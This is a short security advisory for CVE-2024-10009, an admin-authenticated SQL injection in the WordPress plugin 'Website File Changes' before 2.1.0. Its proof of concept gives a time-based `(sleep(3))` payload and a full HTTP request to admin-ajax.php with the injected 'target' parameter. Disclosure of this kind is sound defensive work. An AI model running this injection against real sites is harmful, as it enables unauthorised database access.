Website File Changes < 2.1.0 – Admin+ Authenticated SQL Injection | CVE 2024-10009

Description

The plugin does not sanitize and escape a parameter before using it in a SQL statement, allowing admins to perform SQL injection attacks

Proof of Concept

1. File Monitoring -> Recent Events -> Click "Mark as read"
2. Modify the target parameter with the payload: `(sleep(3))`

Sample HTTP Request:

```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://127.0.0.1:8081/wp-admin/admin.php?page=file-monitor-admin
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 58
Origin: http://127.0.0.1:8081
Connection: close
Cookie: [Cookie]
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

action=mfm_mark_as_read&nonce=4b8522080b&target=(sleep(3))
```